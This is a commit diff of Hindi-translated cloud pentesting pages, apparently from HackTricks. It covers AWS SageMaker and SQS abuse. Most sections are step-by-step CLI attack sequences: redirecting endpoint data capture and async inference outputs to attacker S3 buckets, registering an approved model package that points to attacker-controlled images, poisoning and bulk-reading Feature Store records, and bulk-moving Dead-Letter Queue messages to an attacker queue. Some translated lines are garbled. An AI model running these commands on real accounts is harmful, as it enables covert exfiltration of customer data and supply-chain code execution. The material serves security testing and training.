Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers

This commit is contained in:
Translator
2025-10-23 13:49:31 +00:00
parent 8ce02e2822
commit 6cdff42082
5 changed files with 448 additions and 163 deletions

View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker endpoint से डेटा निकालना UpdateEndpoint DataCaptureConfig के माध्यम से
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
SageMaker endpoint management का दुरुपयोग करके attackercontrolled S3 bucket में full request/response capture सक्षम करें बिना model या container को छुए। यह zero/lowdowntime rolling update का उपयोग करता है और केवल endpoint management permissions की आवश्यकता होती है
SageMaker endpoint प्रबंधन का दुरुपयोग करके बिना model या container को छुए हमलावर‑नियंत्रित S3 बकेट में पूरा request/response कैप्चर सक्षम करें। यह एक zero/lowdowntime rolling update का उपयोग करता है और केवल endpoint management अनुमतियाँ चाहिए
### आवश्यकताएँ
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (या उसी खाते में मौजूद किसी मौजूदा bucket का उपयोग करें)
- वैकल्पिक (यदि SSEKMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने ए CMK पर
- लक्ष्‍य: उसी account/region में मौजूद एक InService realtime endpoint
- S3: `s3:CreateBucket` (या उसी अकाउंट में मौजूद किसी बकेट का उपयोग करें)
- वैकल्पिक (यदि SSEKMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने हुए CMK पर
- Target: उसी अकाउंट/रीजन में एक मौजूद InService realtime endpoint
### चरण
1) एक InService endpoint की पहचान करें और वर्तमान production variants एकत्र करें
1) एक InService endpoint की पहचान करें और वर्तमान प्रोडक्शन variants इकट्ठा करें
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) captures के लिए attacker S3 destination को तैयार करें
2) कैप्चर्स के लिए attacker S3 गंतव्य तैयार करें
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) समान वेरिएंट्स बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket पर DataCapture सक्षम करे
3) वही variants बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket में DataCapture सक्षम करे
नोट: CLI वैलिडेशन को पूरा करने वाले स्पष्ट content types का उपयोग करें।
नोट: CLI सत्यापन को पूरा करने वाले स्पष्ट कंटेंट प्रकारों का उपयोग करें।
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) न config को rolling update के साथ लागू करें (minimal/no downtime)
4) नया config rolling update के साथ लागू करें (न्यूनतम/कोई डाउनटाइम नहीं)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) कम से कम एक inference call जनरेट करें (यदि live traffic मौजूद है तो वैकल्पिक)
5) कम से कम एक inference कॉल जनरेट करें (यदि लाइव ट्रैफ़िक मौजूद है तो वैकल्पिक)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) attacker S3 में captures को सत्यापित करें
6) attacker S3 में captures सत्यापित करें
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### प्रभाव
- लक्षित endpoint से हमलावर-नियंत्रित S3 बकेट में रियल‑टाइम inference request और response payloads (और metadata) का पूर्ण exfiltration।
- model/container image में कोई बदलाव नहीं और केवल endpointlevel परिवर्तन, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है।
- Full exfiltration of realtime inference request and response payloads (and metadata) from the targeted endpoint to an attackercontrolled S3 bucket.
- मॉडल/container image में कोई बदलाव नहीं और केवल endpointlevel बदलाव, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है।
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
endpoint management का दुरुपयोग करके asynchronous inference outputs को हमलावर-नियंत्रित S3 बकेट पर रीडायरेक्ट करें — इसके लिए वर्तमान EndpointConfig को clone करे और AsyncInferenceConfig.OutputConfig में S3OutputPath/S3FailurePath सेट करे। यह model predictions (और container द्वारा शामिल किए गए किसी भी transformed inputs) को model/container को modify किए बिना exfiltrate कर देता है।
Endpoint management का दुरुपयोग करके asynchronous inference outputs को attacker-controlled S3 bucket की ओर redirect करें — वर्तमान EndpointConfig को clone करे और AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath सेट करे। यह मॉडल की भविष्यवाणियों (और container द्वारा शामिल किसी भी transformed inputs) को बिना model/container को modify किए exfiltrate कर देता है।
### आवश्यकताएँ
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: attacker S3 bucket में लिखने की क्षमता (model execution role या permissive bucket policy के माध्यम से)
- Target: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा)
- S3: attacker S3 bucket में लिखने की क्षमता (model execution role के माध्यम से या एक permissive bucket policy के द्वारा)
- लक्षित: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा)
### चरण
1) लक्ष्य endpoint से वर्तमान ProductionVariants एकत्र करें
### कदम
1) लक्षित endpoint से वर्तमान ProductionVariants एकत्र करें
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सकता है)
2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सक)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) EndpointConfig को क्लोन करें और AsyncInference outputs को attacker bucket में hijack करें
3) EndpointConfig को Clone करें और AsyncInference के outputs को attacker bucket में hijack करें
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) एक async invocation ट्रिगर करें और सत्यापित करें कि ऑब्जेक्ट्स attacker S3 में पहुँचे हैं
4) async invocation ट्रिगर करें और सत्यापित करें कि objects attacker S3 में पहुँच रहे हैं
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### प्रभाव
- असिंक्रोनस inference परिणामों (और error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और संभवतः container द्वारा उत्पन्न sensitive pre/post-processed inputs को बिना model code या image बदले और कम/कोई डाउनटाइम के साथ covert तरीके से बाहर निकाला जा सकता है
- asynchronous inference results (and error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और container द्वारा उत्पन्न संभावित संवेदनशील pre/post-processed inputs का covert exfiltration संभव होता है, बिना model code या image बदले और minimal/no downtime के साथ
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
यदि कोई हमलावर target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version रजिस्टर कर सकते हैं जो हमलावर के नियंत्रण वाले container image की ओर इशारा करता है और तुरंत उसे Approved मार्क कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy करती हैं, जिसके परिणामस्वरूप service के execution roles के अंतर्गत हमलावर का code execution होता है। permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकत है।
यदि attacker किसी target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version register कर सकते हैं जो attacker-controlled container image की ओर इशारा करता है और उसे तुरंत Approved के रूप में mark कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy कर देती हैं, जिससे service के execution roles के तहत attacker code execution हो सकता है। एक permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकत है।
### आवश्यकताएँ
- IAM (लक्षित मौजूदा समूह को poison करने के लिए न्यूनतम): `sagemaker:CreateModelPackage` लक्ष्य ModelPackageGroup पर
- वैकल्पिक (यदि कोई समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup`
- S3: referenced ModelDataUrl के लिए Read access (या हमलावर-नियंत्रित artifacts होस्ट करें)
- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए मॉनिटर/देखती है
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` target ModelPackageGroup पर
- Optional (यदि समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup`
- S3: referenced ModelDataUrl के लिए Read access (या attacker-controlled artifacts होस्ट करें)
- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए watch करती है
### कदम
1) region सेट करें और एक लक्षित Model Package Group बनाएं/खोजें
### स्टेप्स
1) region सेट करें और एक target Model Package Group बनाएं/ढूंढें
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) S3 में डमी मॉडल डेटा तैयार करें
2) S3 में नकली मॉडल डेटा तैयार करें
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) किसी सार्वजनिक AWS DLC image को संदर्भित करते हुए एक malicious (here benign) Approved model package version पंजीकृत करें
3) सार्वजनिक AWS DLC image को संदर्भित करते हुए एक दुर्भावनापूर्ण (यहाँ हानिरहित) Approved model package version रजिस्टर करें
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) नए स्वीकृत संस्करण के अस्तित्व की पुष्टि करें
4) नए Approved संस्करण के मौजूद होने की पुष्टि करें
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### प्रभाव
- Model Registry को उस Approved version से poison करें जो attacker-controlled code को reference करता हAuto-deploy करने वाली Pipelines Approved models को pull और run कर सकती हैं, जिससे attacker image के चलते endpoint/training roles के अंतर्गत code execution हो सकता है।
- एक permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy) के साथ, यह दुरुपयोग cross-account ट्रिगर किया जा सकता है।
- Model Registry को ऐसे Approved version से poison करें जो attacker-controlled code को reference करता हजो Pipelines auto-deploy Approved models हैं वे attacker image को pull और run कर सकती हैं, जिससे endpoint/training roles के अंतर्गत code execution हो सकता है।
- यदि ModelPackageGroup resource policy (PutModelPackageGroupPolicy) permissive हो, तो यह abuse cross-account trigger किया जा सकता है।
## Feature store poisoning
Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करें (जब OnlineStore enabled ह) ताकि online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सक`sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features को पढ़ सकता है। इसके लिए models या endpoints तक पहुंच की आवश्यकता नहीं होती।
`agemaker:PutRecord` का दुरुपयोग करके ऐसे Feature Group (जिसमें OnlineStore enabled ह) पर online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सकता है`sagemaker:GetRecord` के साथ मिलकर, an attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints की access की आवश्यकता नहीं होती।
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
OnlineStore सक्षम किसी Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव फीचर मानों को overwrite करें जिन्हें online inference द्वारा उपयोग किया जाता है। `sagemaker:GetRecord` के साथ मिलाकर, एक attacker संवेदनशील फीचर्स पढ़ सकता है और confidential ML डेटा को exfiltrate कर सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं होती, इसलिए यह एक प्रत्यक्ष data-layer attack बन जाता है।
{{#include ../../../../banners/hacktricks-training.md}}
`OnlineStore` सक्षम Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव feature मानों को ओवरराइट किया जा सकता है जिन्हें online inference उपयोग करता है। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints तक पहुँच की आवश्यकता नहीं होती।
## आवश्यकताएँ
- अनुमतियाँ: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- लक्ष्य: OnlineStore सक्षम Feature Group (आमतौर पर real-time inference को बैक करता है)
- जटिलता: **LOW** - सरल AWS CLI commands, किसी मॉडल में कोई छेड़छाड़ आवश्यक नहीं
- लक्ष्य: OnlineStore सक्षम Feature Group (आम तौर पर backing real-time inference)
- जटिलता: **LOW** - सरल AWS CLI कमांड, model में किसी प्रकार का परिवर्तन आवश्यक नहीं
## चरण
### Reconnaissance
1) OnlineStore सक्षम Feature Groups को सूचीबद्ध करें
1) OnlineStore सक्षम Feature Groups सूचीबद्ध करें
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) लक्षित Feature Group का वर्णन करें ताकि उसक schema को समझा जा सके
2) लक्षित Feature Group का विवरण दें ताकि उसक schema समझा जा सके
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
नोट: `RecordIdentifierFeatureName`, `EventTimeFeatureName`, और सभी फीचर परिभाषाओं को ध्यान में रखें। वैध रिकॉर्ड बनाने के लिए ये आवश्यक हैं।
ध्यान दें कि `RecordIdentifierFeatureName`, `EventTimeFeatureName` और सभी फीचर परिभाषाएँ वैध रिकॉर्ड तैयार करने के लिए आवश्यक हैं।
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
### हमला परिदृश्य 1: Data Poisoning (Overwrite Existing Records)
1) मौजूदा वैध रिकॉर्ड पढ़ें
1) वर्तमान वैध रिकॉर्ड पढ़ें
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को दुर्भावनापूर्ण मानों से संक्रमित करें
2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को हानिकारक मानों से Poison करें
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) प्रदूषित डेटा सत्यापित करें
3) poisoned data की जाँच करें
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**प्रभाव**: इस feature का उपयोग करने वाले ML मॉडल अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जिससे उनके लेनदेन या सेवाएँ संभावित रूप से अवरुद्ध हो सकत है
**प्रभाव**: इस फ़ीचर का उपयोग करने वाले ML models अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जो संभावित रूप से उनके लेनदेन या सेवाओं को ब्लॉक कर सकत है।
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
Inject हेरफार किए गए फीचर्स के साथ पूरी तरह से नए रिकॉर्ड्स डालें ताकि सुरक्षा नियंत्रणों से बचा जा सके:
सुरक्षा नियंत्रणों से बचने के लिए हेराफेरी किए गए फीचर्स के साथ बिल्कुल नए रिकॉर्ड इंजेक्ट करें:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**प्रभाव**: Attacker एक नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो high-value fraudulent transactions कर सकता है बिना fraud detection को ट्रिगर किए
**प्रभाव**: Attacker नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो fraud detection को ट्रिगर किए बिना high-value fraudulent transactions कर सकता है।
### Attack Scenario 3: Sensitive Data Exfiltration
### हमला परिदृश्य 3: Sensitive Data Exfiltration
कई रिकॉर्ड पढ़कर गोपनीय फीचर निकालें और मॉडल के व्यवहार क प्रोफाइल बनाएं:
कई रिकॉर्ड पढ़ें ताकि गोपनीय विशेषताएँ निकाली जा सकें और मॉडल के व्यवहार क प्रोफाइल बनाई जा सके:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impact**: संवेदनशील फीचर (risk scores, transaction patterns, personal data) attacker को उजागर
**Impact**: संवेदनशील फीचर्स (जोखिम स्कोर, लेन-देन पैटर्न, व्यक्तिगत डेटा) हमलावर के लिए उजागर हो जाते हैं
### परीक्षण/डेमो Feature Group निर्माण (वैकल्पिक)
### Testing/Demo Feature Group Creation (Optional)
यदि आपको एक परीक्षण Feature Group बनाना ह:
यदि आपको एक परीक्षण Feature Group बनाने की आवश्यकता ह:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## पहचान
CloudTrail पर संदिग्ध पैटर्न की निगरानी करें:
- असामान्य IAM principals या IP addresses से आने वाले `PutRecord` ईवेंट्स
- उच्च आवृत्ति वाले `PutRecord` या `GetRecord` कॉल्स
- असामान्य feature मानों के साथ `PutRecord` (उदा., `risk_score` सामान्य रेंज के बाहर)
- बड़े पैमाने पर `GetRecord` ऑपरेशन्स जो mass exfiltration का संकेत देते हैं
- सामान्य business hours के बाहर या अनपेक्षित स्थानों से एक्सेस
अनियमितता की पहचान लागू करें:
- Feature मान सत्यापन (उदा., `risk_score` 0.0-1.0 होना चाहिए)
- Write पैटर्न विश्लेषण (आवृत्ति, समय, स्रोत पहचान)
- Data drift detection (feature वितरणों में अचानक परिवर्तन)
## संदर्भ
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -1,53 +1,55 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## विवरण
SQS message move tasks का दुरुपयोग करके पीड़ित के Dead-Letter Queue (DLQ) में जमा किए गए सभी संदेशों को `sqs:StartMessageMoveTask` का उपयोग करके हमलावर-नियंत्रित queue पर रीडायरेक्ट करके चुराना। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करती है।
SQS message move tasks का दुरुपयोग करके victim के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को चुराएँ और उन्हें attacker-controlled queue पर redirect करें, इसके लिए `sqs:StartMessageMoveTask` का उपयोग करें। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करने के लिए प्रयोग की जाती है।
## Dead-Letter Queue (DLQ) क्या है?
Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वचालित रूप से भेजे जाते हैं जब उन्हें मुख्य application द्वारा सफलतापूर्वक प्रोसेस नहीं किया जा सकता। ये विफल संदेश अक्सर निम्नलिखित रखते हैं:
- संवेदनशील application डेटा जिसे प्रोसेस नहीं किया जा सका
- त्रुटि विवरण और डिबग जानकारी
- व्यक्तिगत पहचान योग्य जानकारी (PII)
Dead-Letter Queue एक विशेष SQS queue है जहाँ वे संदेश भेजे जाते हैं जो मुख्य एप्लिकेशन द्वारा सफलतापूर्वक प्रोसेस नहीं हो पाते। ये failed संदेश अक्सर निम्न चीज़ें रख सकते हैं:
- प्रोसेस न हो पाने वाला संवेदनशील application डेटा
- त्रुटि विवरण और debugging जानकारी
- Personal Identifiable Information (PII)
- API tokens, credentials, या अन्य secrets
- व्यापार-सम्बंधी महत्वपूर्ण transaction डेटा
- Business-critical transaction डेटा
DLQs उन विफल संदेशों का "कब्रिस्तान" जैसा काम करते हैं, इसलिए ये कीमती लक्ष्य होते हैं क्योंकि इनमें समय के साथ ऐसा संवेदनशील डेटा जमा हो जाता है जिसे applications सही तरीके से हैंडल नहीं कर पाए।
DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, इसलिए ये मूल्यवान लक्ष्य होते हैं क्योंकि इनमें समय के साथ उन संवेदनशील डेटा का संचय होता है जिन्हें ऐप्लिकेशन्स सही से हैंडल नहीं कर पाए।
## हमला परिदृश्य
**वास्तविक उदाहरण:**
1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करत है
2. **कुछ आदेश विफल होते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं
3. **DLQ में जमा होता है** हफ्तों/महीनों क विफल ऑर्डर डेटा जिमें ग्राहक जानकारी होत है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker AWS credentials** हासिल कर लेता है जिनमें SQS permissions होते हैं
5. **Attacker पता लगाता है** कि DLQ में हजारों विफल ऑर्डर्स हैं जिनमें संवेदनशील डेटा है
6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को एक साथ अपनी queue में bulk transfer कर देता है
वास्तविक उदाहरण:
1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करत है
2. **कुछ ऑर्डर विफल हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं
3. **DLQ में हफ्तों/महीनों क विफल ऑर्डर जमा हो जाते हैं** जिमें ग्राहक डेटा होत है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker को AWS credentials मिल जाते हैं** जिनमें SQS permissions हैं
5. **Attacker पाता है** कि DLQ में संवेदनशील डेटा वाले हजारों failed orders हैं
6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की कोशिश करने के बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को bulk में अपनी queue पर स्थानांतरित कर देता है
7. **Attacker एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है
## आवश्यकताएँ
- स्रोत queue को किसी न किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए।
- IAM permissions (समझौता किए गए victim principal के रूप में चलाते हुए):
- स्रोत queue को किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए।
- IAM permissions (compromised victim principal के रूप में चलाते समय):
- DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- destination queue पर: संदेश डिलीवर करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage`ी अनुमति देती हो)। same-account destinations के लिए यह सामान्यतः डिफ़ॉल्ट रूप से allowed होता है।
- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`.
- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage`ो allow करती हो)। उसी account के destination के लिए यह सामान्यतः default में allowed होता है।
- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`
## प्रभाव
DLQs में जमा संवेदनशील payloads (विफल events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
## दुरुपयोग कैसे करें
## दुरुपयोग करने का तरीका
- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि इसे वास्तव में किसी queue द्वारा DLQ के रूप में संदर्भित किया गया ह (कोई भी queue चलेगा)।
- एक attacker-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
- पीड़ित DLQ से आपकी destination queue पर message move task शुरू करें।
- प्रगति की निगरानी करें या आवश्यक होने पर task को रद्द करें।
- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि यह वास्तव में किसी queue द्वारा DLQ के रूप में refer किया गया ह (कोई भी queue चलेगा)।
- एक attacker-controlled destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
- victim DLQ से आपकी destination queue तक एक message move task शुरू करें।
- प्रगति की निगरानी करें या आवश्यकता होने पर रद्द करें।
### CLI उदाहरण: E-commerce DLQ से Customer Data का Exfiltration
### CLI उदाहरण: E-commerce DLQ से ग्राहक डेटा निकालना
**परिदृश्य**: एक attacker ने AWS credentials compromise कर ल हैं और पता लगा लिया है कि एक e-commerce application SQS का उपयोग कर रही है और उसकी DLQ में ग्राहक ऑर्डर प्रोसेसिंग के विफल प्रयास जमा हैं।
**परिदृश्य**: एक attacker ने AWS credentials compromise कर लिए हैं और पता ला है कि एक ई-कॉमर्स एप्लिकेशन SQS और एक DLQ का उपयोग करता है जिसमें ग्राहक के order processing के विफल प्रयास जमा हैं।
1) **Discover and examine the victim DLQ**
1) **Victim DLQ की खोज और निरीक्षण करें**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **बनाएँ attacker-controlled destination queue**
2) **attacker-controlled गंतव्य queue बनाएँ**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **बड़े पैमाने पर संदेश चोरी को निष्पादित करें**
3) **थोक संदेश चोरी को निष्पादित करें**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### क्रॉस-एकाउंट नोट्स
- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).
- गंतव्य queue में ऐसी resource policy होनी चाहिए जो victim principal को `sqs:SendMessage` की अनुमति दे (और, यदि लागू हो, KMS grants/permissions)
## यह Attack क्यों प्रभावी है
## यह हमला प्रभावी क्यों है
1. **Legitimate AWS Feature**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, ज इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन बनात है
2. **Bulk Operation**: धीम व्यक्तिगत एक्सेस बजाय हजारों messages जल्दी ट्रांसफर करता है
3. **Historical Data**: DLQs सप्ताहों/महीनों में संवेदनशील डेटा जमा कर लेते हैं
4. **Under the Radar**: कई संगठन DLQ access की निगरानी बारीकी से नहीं करते हैं
